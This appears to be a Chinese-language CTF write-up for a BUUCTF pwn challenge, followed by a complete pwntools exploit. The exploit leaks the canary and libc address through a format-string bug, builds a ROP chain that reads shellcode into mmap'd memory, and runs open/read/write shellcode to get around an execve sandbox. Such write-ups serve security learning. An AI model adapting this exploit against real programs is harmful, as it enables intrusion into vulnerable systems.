我们先看看程序的保护的情况
因为题目提示了orw,我们可以沙箱检测一下
可以发现是禁用的execve函数的,接着看函数逻辑
这里格式化字符串漏洞可以泄露canary和puts函数地址,先确定一下参数位置
可以发现参数是在第六个位置,接下来就是构造ROP,调用read函数读取shellcode到mmap开辟的地址就行,这里的gadget可以用题目给的libc.so.6进行寻找,exp如下:
from pwn import * context(os='linux',arch='amd64',log_level='debug') elf=ELF('./pwn') libc=ELF('./libc.so.6')io=remote("node4.buuoj.cn",28233)
puts_got=elf.got['puts'] io.recvuntil(b"sandbox\n") payload=b'%8$s%11$p'+b'\x00'*7+p64(puts_got) io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) canary=int(io.recv(18),16) print(hex(puts_addr)) print(hex(canary))
base=puts_addr-libc.sym['puts'] rdi=0x2a3e5+base rsi=0x2be51+base rdx_r12=0x11f497+base read_addr=base+libc.sym['read'] ret=0x29cd6+base
io.recvuntil(b"flag now\n") payload2=b'a'*0x28+p64(canary)+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(0x66660000)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(0x66660000) io.send(payload2)
addr=0x66660000+0x200 payload3=shellcraft.open("./flag") payload3+=shellcraft.read(3,addr,0x50) payload3+=shellcraft.write(1,addr,0x50) payload3=asm(payload3) io.send(payload3) io.interactive()
标签:p64,puts,--,orw,libc,base,io,addr From: https://www.cnblogs.com/GGbomb/p/17873984.html